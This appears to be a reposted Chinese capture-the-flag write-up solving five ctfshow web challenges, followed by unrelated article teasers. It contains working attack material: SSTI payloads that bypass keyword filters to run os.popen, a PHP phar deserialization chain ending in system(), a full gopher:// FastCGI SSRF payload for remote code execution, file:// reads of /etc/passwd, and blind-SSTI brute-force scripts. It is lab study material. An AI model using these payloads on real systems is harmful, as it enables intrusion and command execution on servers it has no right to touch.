【1024杯】web

news2024/11/24 19:18:07

文章目录

  • 1024_fastapi
    • 信息收集
    • SSTI
  • 1024_柏拉图
    • 信息收集
    • phar反序列化
  • 1024_WEB签到
  • 1024_图片代理
    • 信息收集
    • gopherus|fastcgi
  • 1024_hello_world
    • 信息收集
    • ssti盲注

1024_fastapi

信息收集

FastAPI 是一个高性能 Web 框架,用于构建 API。

主要特性:

快速:非常高的性能,与 NodeJS 和 Go 相当
快速编码:将功能开发速度提高约 200% 至 300%
更少的错误:减少约 40% 的人为错误
直观:强大的编辑器支持,自动补全无处不在,调试时间更少
简易:旨在易于使用和学习,减少阅读文档的时间。
简短:减少代码重复。
稳健:获取可用于生产环境的代码,具有自动交互式文档
基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema

Fastapi的交互式接口文档,访问docs和redoc

在这里插入图片描述

访问/cccalccc,可以post提交q参数

SSTI

经过尝试,需要直接输入参数才能解析

在这里插入图片描述

q=().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/etc/passwd').read()
{"res":"hack out!","err":false}

这里看出是python3的环境,而且还有waf需要绕过

找出被waf的关键词

popen

这里绕过一下

q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('env').read()

在env和.和/下面均没有发现flag,先尝试读取源码

q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat main.py').read()
{"res":"from typing import Optional\nfrom fastapi import FastAPI,Form\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/\")\ndef hello():\n    return {\"hello\": \"fastapi\"}\n\n@app.post(\"/cccalccc\",description=\"安全的计算器\")\ndef calc(q: Optional[str] = Form(...)):\n    try:\n        hint = \"flag is in /mnt/f1a9,try to read it\"\n        block_list = ['import','open','eval','exec']\n        for keyword in block_list:\n            if keyword in q:\n                return {\"res\": \"hack out!\", \"err\": False}\n        return {\"res\": eval(q), \"err\": False}\n    except:\n        return {\"res\": \"\", \"err\": True}\n\nif __name__ == '__main__':\n    uvicorn.run(app=app, host=\"0.0.0.0\", port=8000, workers=1)\n","err":false}

hint = “flag is in /mnt/f1a9,try to read it”\n

读取拿到flag

1024_柏拉图

信息收集

上传图片

GIF89a
<?php phpinfo();?>
------WebKitFormBoundaryQ93uD6QeIDyFS1HM
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryQ93uD6QeIDyFS1HM--

文件存储在: upload/scr.gif

查看upload/scr.gif,返回为

GIF89a
<?php phpinfo();?>26

猜测通过输入伪协议的url来查看后端的源码,然后通过上传文件和查看文件来读取flag

尝试读取源码

/etc/passwd 没有回显
file:///etc/passwd 没有回显
php://filter/convert.BaSe64-eNcoDe/resource=/etc/passwd 被waf
fifilele:///etc/passwd 没有回显
fifile://le:///etc/passwd 回显成功,这里看来是双写绕过

这里猜测绝对路径进行读取

fifile://le:///var/www/html/index.php

<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-19 20:09:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $bad = 'file://';
    if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
		{
			die('难道我不知道你在想什么?除非绕过我?!');
    }else{
      $url=str_replace($bad,"",$url);
      curl($url);
    }
}
?>

fifile://le:///var/www/html/upload.php

<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

    if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " 文件已经存在啦!";
    }else{
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
      echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
    }
}else{
      echo "这个文件我不喜欢,我喜欢一个gif的文件";
    }
}
?>

fifile://le:///var/www/html/readfile.php

<?php
error_reporting(0);
include('class.php');
function check($filename){  
    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return 0;
    }
}
if(isset($_GET['filename'])){
    $file=$_GET['filename'];
        if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
            die("这么简单的获得不可能吧?!");
        }
        echo readfile($file);
}
?>

fifile://le:///var/www/html/unlink.php

<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){  
  if (preg_match("/\.\.\//i",$file)){
      die("你想干什么?!");
  }else{
      return $file;
  }
}
if(file_exists("upload/".$file)){
      if(unlink("upload/".check($file))){
          echo "删除".$file."成功!";
      }else{
          echo "删除".$file."失败!";
      }
}else{
    echo '要删除的文件不存在!';
}
?>

fifile://le:///var/www/html/class.php

<?php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
?>

phar反序列化

因为有readfile函数,我们可以配合phar来触发反序列化

<?php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
//    public function __destruct()
//    {
//        echo "THI IS CTFSHOW".$this->a;
//    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
$a=new A('');
$b=new B('');
$c=new C('');
$c->c='system("ls /");';
$b->b=$c;
$a->a=$b;


@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

将文件后缀修改为gif,上传,得到路径为upload/phar.gif,这里用绝对路径和相对路径都可以读取到

compress.zlib://phar:///var/www/html/upload/phar.gif

compress.zlib://phar://upload/phar.gif

bin ctfshow_1024_flag.txt dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var

将ls /改为cat /ctfshow_1024_flag.txt即可拿到flag

1024_WEB签到

<?php
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

只有一个传参位置,只能调用无需传参的函数

?f=phpinfo

在phpinfo里面找一找自定义函数。(查找关键词flag,ctfl,function等)

function:ctfshow_1024 support  enabled

1024_图片代理

信息收集

http://bd3e5731-b0c7-481f-90c0-855f5007206a.challenge.ctf.show/index.php?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w
对picurl进行base64解码得到图片的链接 http://p.qlogo.cn/gh/372619038/372619038/0
file:///etc/passwd
ZmlsZTovLy9ldGMvcGFzc3dk

回显成功,盲猜flag的路径/flag发现没有回显,查看指纹是nginx

查看配置文件 file:///etc/nginx/nginx.conf

include /etc/nginx/conf.d/*.conf;

查看自定义的配置文件中的default.conf file:///etc/nginx/conf.d/default.conf

    root         /var/www/bushihtml;
    index        index.php index.html;
    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;

gopherus|fastcgi

这里gopherus需要安装py2的pip2

sudo curl -o get-pip.py https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
gopherus --exploit fastcgi
/var/www/bushihtml/index.php
ls /

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

base64编码

Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOSUwMSUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUNTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHMlMjAvJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw

拿到flag

1024_hello_world

信息收集

SSTI的绕过方法,参考

https://blog.csdn.net/miuzzx/article/details/110220425
https://www.cnblogs.com/20175211lyz/p/11425368.html

首先进行测试

key={{123}}	#<h3>Hello,123!</h3>
key={123}	#<h3>Hello,{123}!</h3>

{{}}过滤了,这里难度在于判断是哪种模板,以及执行命令需要的绕过方式

过滤了的会报500 Internal Server Error

以jinja2为例

{% ... %} for Statements 
{{ ... }} for Expressions to print to the template output
{# ... #} for Comments not included in the template output
#  ... # for Line Statements

ssti盲注

寻找可以利用的模块

import requests
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
#
# payload = '{%if""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()!=1%}wdnmd{%endif%}'
# data = {'key':payload}
# r = requests.post(url,data)
# print(r.text)

for i in range(1,200):
    payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['+str(i)+']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")!=1%}coleak{%endif%}'
    # real_payload = '"".__class__.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")'
    data = {'key':payload}
    r = requests.post(url,data)
    if 'coleak' in r.text:
        print(i)
import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
cmd = 'ls /'
ans = ''
for i in range(0,80):
    for le in abt:
        payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}'
        data = {'key':payload}
        r = requests.post(url,data)
        if 'coleak' in r.text:
            ans += le
            print('ans = '+ans)
            break
import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
cmd = 'cat /ctf*'
ans = ''
for i in range(0,80):
    for le in abt:
        payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}'
        data = {'key':payload}
        r = requests.post(url,data)
        if 'coleak' in r.text:
            ans += le
            print('ans = '+ans)
            break

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/489537.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【头歌】完整汇编语言程序设计

摘自头歌实训​​​​​​ 目录 相关知识 1.1 RISC-V 汇编语言程序基本结构 1.2 RISC-V 汇编语言程序主要元素 1.2.1 汇编指令 1.2.2 标签 1.2.3 汇编指示语句 1.3 RISC-V 汇编语言程序示例 相关知识 RISC-V 操作数类型、基本调用约定等已在前序关卡中介绍&#xff0c;…

云渲染是您3D项目的最佳选择吗?

市面上很多优秀的大型动画电影&#xff0c;一般都是由实力较大的视觉特效团队制作的&#xff0c;而且大部分使用的是基于云的渲染服务来进行最终渲染。像《哪吒之魔童降世》这样 IMAX 3D 首部国产动画电影、并且刷新了中国动画电影票房纪录的作品&#xff0c;就是现代3D动画提供…

ChatGPT做PPT方案,10组提示词方案!

今天我们要搞定的PPT内容是&#xff1a; 活动类型&#xff1a;节日活动、会员活动、新品活动分析类型&#xff1a;用户分析、新品立项、项目汇报内容类型&#xff1a;内容规划、品牌策划 用到的工具&#xff1a; mindshow 邀请码 6509097ChatGPT传送门&#xff08;免费使用…

《Linux0.11源码解读》理解(二) 加载setup、加载system

现在CPU开始执行bootsect&#xff0c;它的作用是把第二部分、第三部分程序陆续加载到内存中。把放到合理的内存位置需要先对内存进行规划。 根据上一节&#xff0c;boostsect当前所在内存位置是0x07c0&#xff0c;大小为512byte&#xff0c;现在要将其挪动到内存的0x9000&…

无代码时代来了,程序员会失业吗?不,程序员又不够用了!

有人问我无代码时代来了&#xff0c;程序员会失业吗&#xff1f;太难了&#xff0c;秃了头就算了&#xff0c;连工作也保不住了&#xff1f; 先说观点&#xff1a;并不会 因为&#xff0c;无代码不是真正意义上的无代码。 无代码开发的使用对象是编程小白&#xff08;我猿是…

Redis的命令以及数据类型

1.Redis的通用命令 KEYS&#xff1a;查看符合模板的所有key&#xff0c;不建议在生产环境设备上使用 DEL&#xff1a;删除一个指定的key EXISTS&#xff1a;判断key是否存在 TTL&#xff1a;查看一个KEY的剩余有效期 2.String类型 String类型&#xff0c;也就是字符串类型…

【Halcon】 Halcon 22.11 安装详细教程

文章目录 1安装2 获取许可证 license2.1 license下载2.2 激活 license放置在相应文件夹下 3 DLT 安装 1安装 1.解压安装包 2.打开运行 exe 程序 跳转至页面 点击“可获得的”&#xff0c;并安装 选择&#xff1a; AVAILABLE ->INSTALL 可获得的 ->安装 5. 等待安装 6…

jQuery -- 常用API(下)

4. jQuery属性操作 4.1 设置或获取元素固有属性值prop() 所谓元素固有属性就是元素本身自带的属性&#xff0c;比如 元素里面的 href &#xff0c;比如 元素里面的 type。 获取属性语法&#xff1a;prop(属性)设置属性语法&#xff1a;prop(属性, 属性值) 4.2 设置或获取元…

掌握黑客技术:从Kali渗透测试开始

前言 Kali Linux是一种流行的渗透测试和网络安全工具&#xff0c;广泛用于测试和评估网络系统和应用程序的安全性。下面是一个简单的Kali Linux使用教程&#xff08;Kali使用教程中需要学习的知识点&#xff09;&#xff0c;旨在帮助初学者了解如何使用Kali Linux进行渗透测试…

【计算机网络】网络分层结构

应用层 软件 传输层 TCP UDP协议 网络层 实现源主机到目标主机的传输 IP协议 可能会丢失&#xff0c;可能失序、可能错误 工作设备&#xff1a;路由器、防火墙 链路层 相邻两点的数据传输以帧为单位的数据。 工作设备&#xff1a;交换机 物理层 光信号 电信号 网络边…

15.JVM8为什么要增加元空间

JVM从永久代至元空间内存结构变化图 变化后的java8图 变化之前java7以及之前各代的图 看出变化了吗&#xff1f;堆和方法区连在了一起&#xff0c;但这并不能说堆和方法区是一起的&#xff0c;它们在逻辑上依旧是分开的。但在物理上来说&#xff0c;它们又是连续的一块内存。…

面了一个4年经验的测试工程师,自动化都不会也要15k,我也是醉了····

在深圳这家金融公司也待了几年&#xff0c;被别人面试过也面试过别人&#xff0c;大大小小的事情也见识不少&#xff0c;今天又是团面的一天&#xff0c; 一百多个人都聚集在一起&#xff0c;因为公司最近在谈项目出来面试就2个人&#xff0c;无奈又被叫到面试房间。 整个过程…

mxf文件格式详解

MXF是英文Material eXchange Format&#xff08;素材交换格式&#xff09;的缩语。MXF是SMPTE&#xff08;美国电影与电视工程师学会&#xff09;组织定义的一种专业音视频媒体文件格式。MXF主要应用于影视行业媒体制作、编辑、发行和存储等环节。SMPTE381M&#xff08;把MPEG格…

如何在 Linux 中使用 GPG 加密和解密文件?

什么是 GPG&#xff1f; GPG&#xff08;GNU Privacy Guard&#xff09;是一种免费的开源加密软件&#xff0c;用于保护计算机数据的机密性和完整性。 它使用非对称加密算法&#xff0c;也称为公钥加密算法&#xff0c;其中数据被加密和解密时使用不同的密钥。每个用户都有一个…

【C++】类与对象(2)

【C】类与对象&#xff08;2&#xff09; 作者&#xff1a;爱写代码的刚子 时间&#xff1a;2023.5.4 本篇博客有关构造函数、析构函数、拷贝构造的知识&#xff0c;由于本篇博客可能比较详细&#xff0c;还剩一些内容没介绍&#xff0c;所以我将剩余的知识放在下一篇博客。 目…

探究Spring中Bean的线程安全性问题

前言 今天同事笑嘻嘻的凑过来&#xff0c;问了我一个问题&#xff1a;spring中的bean是线程安全的吗&#xff1f;。我内心一想肯定是安全的&#xff0c;毕竟这样多项目在用。但是转念一想&#xff0c;他那贱兮兮的表情&#xff0c;多半是在给我挖坑。于是我自信的回答他&#x…

如何在 DigitalOcean 中部署 ONLYOFFICE 文档

现在您可使用通过 DigitalOcean 市场提供的一键式应用在 DigitalOcean 云架构中轻松部署 Docker 版本的 ONLYOFFICE 文档。 一键式应用是一个包含所有必要预配置组件的镜像&#xff0c;可用于便捷地在运行有 Ubuntu OS 的 DigitalOcean 服务器上部署 ONLYOFFICE&#xff1a; D…

单元测试~

文章目录 单元测试Junit单元测试框架 单元测试 Junit单元测试框架

客户端无法连接docker启动的nacos-config服务

nacos踩坑记录: 基于镜像仓库教程 : https://hub.docker.com/r/nacos/nacos-server 在虚拟机启动了nacos服务,控制台可以正常打开.但是客户端无法正确连接.但是又没有明确的异常信息,只有一行warn日志:There is no content for NacosPropertySource from dataId[application.ym…

面试必问的【网络io】,1.5W字超全面总结

今天分享的基本上一面试就会被问的网络IO。文中涉及的代码部分不太重要&#xff0c;重要的是对这概念的理解。在看文章之前大家也可通过下面的思维导图看看自己是否能回答出来。 ​大纲 1 阻塞与非阻塞--开胃菜 阻塞 我们知道在调用某个函数的时候无非就是两种情况&#xff0…